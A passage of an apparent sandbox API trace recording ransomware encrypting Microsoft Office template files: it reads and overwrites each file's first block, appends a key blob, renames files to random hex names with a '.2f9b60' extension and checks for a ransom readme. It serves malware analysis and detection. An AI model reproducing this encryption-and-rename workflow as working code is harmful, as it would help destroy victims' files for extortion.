lpNumberOfBytesWritten=0x3560f680, lpOverlapped=0x0 | out: lpBuffer=0x41e00d80*, lpNumberOfBytesWritten=0x3560f680*=0x3c00, lpOverlapped=0x0) returned 1 [0112.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e00d80) returned 1 [0112.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dee130) returned 1 [0112.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261040 [0112.520] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.521] WriteFile (in: hFile=0xedc, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3560f730, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3560f730*=0x102, lpOverlapped=0x0) returned 1 [0112.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e910 [0112.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8620) returned 1 [0112.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0112.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202628d0) returned 1 [0112.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e910) returned 1 [0112.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202628d0 [0112.568] sprintf (in: _Dest=0x202628d0, _Format="%c%c" | out: _Dest="d4") returned 2 [0112.568] sprintf (in: _Dest=0x202628d2, _Format="%c%c" | out: _Dest="53") returned 2 [0112.568] sprintf (in: _Dest=0x202628d4, _Format="%c%c" | out: _Dest="9d") returned 2 [0112.568] sprintf (in: _Dest=0x202628d6, _Format="%c%c" | out: _Dest="da") returned 2 [0112.568] sprintf (in: _Dest=0x202628d8, _Format="%c%c" | out: _Dest="a3") returned 2 [0112.568] sprintf (in: _Dest=0x202628da, _Format="%c%c" | out: _Dest="d9") returned 2 [0112.568] sprintf (in: _Dest=0x202628dc, _Format="%c%c" | out: _Dest="09") returned 2 [0112.568] sprintf (in: _Dest=0x202628de, _Format="%c%c" | out: _Dest="57") returned 2 [0112.568] sprintf (in: _Dest=0x202628e0, _Format="%c%c" | out: _Dest="52") returned 2 [0112.568] sprintf (in: _Dest=0x202628e2, _Format="%c%c" | out: _Dest="a1") returned 2 [0112.568] sprintf (in: _Dest=0x202628e4, _Format="%c%c" | out: _Dest="94") returned 2 [0112.568] sprintf (in: _Dest=0x202628e6, _Format="%c%c" | out: _Dest="f7") returned 2 [0112.568] sprintf (in: _Dest=0x202628e8, _Format="%c%c" | out: _Dest="6d") returned 2 [0112.568] sprintf (in: _Dest=0x202628ea, _Format="%c%c" | out: _Dest="bb") returned 2 [0112.568] sprintf (in: _Dest=0x202628ec, _Format="%c%c" | out: _Dest="a1") returned 2 [0112.568] sprintf (in: _Dest=0x202628ee, _Format="%c%c" | out: _Dest="27") returned 2 [0112.568] RtlInitAnsiString (in: DestinationString=0x3560f7a8, SourceString="d4539ddaa3d9095752a194f76dbba127" | out: DestinationString="d4539ddaa3d9095752a194f76dbba127") [0112.568] RtlAnsiStringToUnicodeString (in: DestinationString=0x3560f778, SourceString="d4539ddaa3d9095752a194f76dbba127", AllocateDestinationString=1 | out: DestinationString="d4539ddaa3d9095752a194f76dbba127") returned 0x0 [0112.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c760 [0112.569] wcscat (in: _Dest=0x1b85cba0, _Source="d4539dda" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4539dda") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4539dda" [0112.569] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4539dda.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4539dda.2f9b60" [0112.569] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4539dda.2f9b60", NtPathName=0x3560f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4539dda.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65d90 [0112.569] NtSetInformationFile (FileHandle=0xedc, IoStatusBlock=0x3560f7f0, FileInformation=0x1cd65d90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.571] NtQueryInformationFile (in: FileHandle=0xedc, IoStatusBlock=0x3560f7b8, FileInformation=0x3560f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3560f7b8, FileInformation=0x3560f7c8) returned 0x0 [0112.571] NtSetInformationFile (FileHandle=0xedc, IoStatusBlock=0x3560f7b8, FileInformation=0x3560f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0112.572] FlushFileBuffers (hFile=0xedc) returned 1 [0112.590] CloseHandle (hObject=0xedc) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.593] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.593] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0112.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 Thread: id = 1127 os_tid = 0xfe4 [0112.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt")) returned 0x20 [0112.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT", dwFileAttributes=0x20) returned 1 [0112.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe80 [0112.453] GetFileSizeEx (in: hFile=0xe80, lpFileSize=0x3569f920 | out: lpFileSize=0x3569f920*=30208) returned 1 [0112.453] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x75fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.453] ReadFile (in: hFile=0xe80, lpBuffer=0x3569f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3569f8e8, lpOverlapped=0x0 | out: lpBuffer=0x3569f8a0*, lpNumberOfBytesRead=0x3569f8e8*=0x4, lpOverlapped=0x0) returned 1 [0112.496] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0112.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0112.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0112.496] NtQuerySystemTime (in: CurrentTime=0x3569f7e0 | out: CurrentTime=0x3569f7e0*=132462177179590000) returned 0x0 [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x5bce3e0f [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0xc4e1bf8 [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x5db225d7 [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x57a9bef2 [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0xd89e1fd [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x7efa1f40 [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x5b648288 [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0xf668fb2 [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x79f712af [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0xa696c1 [0112.496] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x11dffe9e [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x156d0ab2 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x481aec3c [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x1ef0264b [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x364462a4 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x7ee64853 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x252ebdac [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x14d075d [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x468cf918 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x31068fe0 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x7e39b901 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x68839875 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x6d0102cc [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x62eb4f43 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x12581ec9 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x4426f0be [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x22f7892c [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x2b353903 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x6ca0af64 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x6e7edf37 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x7f24f800 [0112.497] RtlRandomEx (in: Seed=0x3569f7d0 | out: Seed=0x3569f7d0) returned 0x5227dd05 [0112.504] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.504] ReadFile (in: hFile=0xe80, lpBuffer=0x41df1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3569f840, lpOverlapped=0x0 | out: lpBuffer=0x41df1d40*, lpNumberOfBytesRead=0x3569f840*=0x3c00, lpOverlapped=0x0) returned 1 [0112.515] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e40 [0112.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e40) returned 1 [0112.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e04990 [0112.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e40 [0112.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0112.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262de0) returned 1 [0112.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.516] WriteFile (in: hFile=0xe80, lpBuffer=0x41e04990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3569f840, lpOverlapped=0x0 | out: lpBuffer=0x41e04990*, lpNumberOfBytesWritten=0x3569f840*=0x3c00, lpOverlapped=0x0) returned 1 [0112.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e04990) returned 1 [0112.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df1d40) returned 1 [0112.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261be0 [0112.521] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.521] WriteFile (in: hFile=0xe80, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3569f8f0, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x3569f8f0*=0x102, lpOverlapped=0x0) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262300 [0112.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262300) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262300 [0112.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614f0 [0112.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202614f0) returned 1 [0112.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202614f0 [0112.541] sprintf (in: _Dest=0x202614f0, _Format="%c%c" | out: _Dest="04") returned 2 [0112.541] sprintf (in: _Dest=0x202614f2, _Format="%c%c" | out: _Dest="f4") returned 2 [0112.541] sprintf (in: _Dest=0x202614f4, _Format="%c%c" | out: _Dest="fc") returned 2 [0112.541] sprintf (in: _Dest=0x202614f6, _Format="%c%c" | out: _Dest="44") returned 2 [0112.541] sprintf (in: _Dest=0x202614f8, _Format="%c%c" | out: _Dest="27") returned 2 [0112.541] sprintf (in: _Dest=0x202614fa, _Format="%c%c" | out: _Dest="3c") returned 2 [0112.541] sprintf (in: _Dest=0x202614fc, _Format="%c%c" | out: _Dest="79") returned 2 [0112.541] sprintf (in: _Dest=0x202614fe, _Format="%c%c" | out: _Dest="f0") returned 2 [0112.541] sprintf (in: _Dest=0x20261500, _Format="%c%c" | out: _Dest="b7") returned 2 [0112.541] sprintf (in: _Dest=0x20261502, _Format="%c%c" | out: _Dest="c7") returned 2 [0112.541] sprintf (in: _Dest=0x20261504, _Format="%c%c" | out: _Dest="7a") returned 2 [0112.541] sprintf (in: _Dest=0x20261506, _Format="%c%c" | out: _Dest="85") returned 2 [0112.541] sprintf (in: _Dest=0x20261508, _Format="%c%c" | out: _Dest="19") returned 2 [0112.542] sprintf (in: _Dest=0x2026150a, _Format="%c%c" | out: _Dest="f4") returned 2 [0112.542] sprintf (in: _Dest=0x2026150c, _Format="%c%c" | out: _Dest="14") returned 2 [0112.542] sprintf (in: _Dest=0x2026150e, _Format="%c%c" | out: _Dest="a3") returned 2 [0112.542] RtlInitAnsiString (in: DestinationString=0x3569f968, SourceString="04f4fc44273c79f0b7c77a8519f414a3" | out: DestinationString="04f4fc44273c79f0b7c77a8519f414a3") [0112.542] RtlAnsiStringToUnicodeString (in: DestinationString=0x3569f938, SourceString="04f4fc44273c79f0b7c77a8519f414a3", AllocateDestinationString=1 | out: DestinationString="04f4fc44273c79f0b7c77a8519f414a3") returned 0x0 [0112.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c760 [0112.542] wcscat (in: _Dest=0x1b85cf90, _Source="04f4fc44" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\04f4fc44") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\04f4fc44" [0112.542] wcscat (in: _Dest=0x1b85cf90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\04f4fc44.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\04f4fc44.2f9b60" [0112.542] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\04f4fc44.2f9b60", NtPathName=0x3569f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\04f4fc44.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65ce0 [0112.542] NtSetInformationFile (FileHandle=0xe80, IoStatusBlock=0x3569f9b0, FileInformation=0x1cd65ce0, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ce0) returned 1 [0112.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0112.543] NtQueryInformationFile (in: FileHandle=0xe80, IoStatusBlock=0x3569f978, FileInformation=0x3569f988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3569f978, FileInformation=0x3569f988) returned 0x0 [0112.543] NtSetInformationFile (FileHandle=0xe80, IoStatusBlock=0x3569f978, FileInformation=0x3569f988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cf90) returned 1 [0112.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0112.545] FlushFileBuffers (hFile=0xe80) returned 1 [0112.574] CloseHandle (hObject=0xe80) returned 1 [0112.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.582] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.582] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0112.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 Thread: id = 1128 os_tid = 0xcc4 [0112.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt")) returned 0x20 [0112.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT", dwFileAttributes=0x20) returned 1 [0112.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr5.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xedc [0112.606] GetFileSizeEx (in: hFile=0xedc, lpFileSize=0x354af9c0 | out: lpFileSize=0x354af9c0*=30720) returned 1 [0112.606] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x77fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.606] ReadFile (in: hFile=0xedc, lpBuffer=0x354af940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x354af988, lpOverlapped=0x0 | out: lpBuffer=0x354af940*, lpNumberOfBytesRead=0x354af988*=0x4, lpOverlapped=0x0) returned 1 [0112.610] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86b0 [0112.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8680 [0112.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0112.610] NtQuerySystemTime (in: CurrentTime=0x354af880 | out: CurrentTime=0x354af880*=132462177180682000) returned 0x0 [0112.610] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x7641fd87 [0112.610] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x6a468f05 [0112.610] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x3f4449b2 [0112.610] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x491f356d [0112.610] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x2aba514d [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x1f7e4421 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x7b5dff9e [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x65cd732 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x3d50a40f [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x7f8e1fe5 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x43ea220e [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0xd805f54 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x7ecf4680 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x7b19638e [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x3e4018a5 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x7364b478 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x57df9711 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x3932755e [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x53640696 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x421300a2 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x7212a22 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x7e553f3c [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x2387a897 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x68d2bf72 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x17fd67df [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x4149a004 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x33614999 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x64dc3ea0 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0xc4e1bf8 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x4c82a739 [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x2414f3dd [0112.611] RtlRandomEx (in: Seed=0x354af870 | out: Seed=0x354af870) returned 0x22820852 [0112.621] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.621] ReadFile (in: hFile=0xedc, lpBuffer=0x41df1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x354af8e0, lpOverlapped=0x0 | out: lpBuffer=0x41df1d40*, lpNumberOfBytesRead=0x354af8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.622] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0112.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0112.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86b0 [0112.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a86b0) returned 1 [0112.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e04990 [0112.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86b0 [0112.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0112.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a86e0) returned 1 [0112.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0112.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0112.623] WriteFile (in: hFile=0xedc, lpBuffer=0x41e04990*, nNumberOfBytesToWrite=0x3c00, 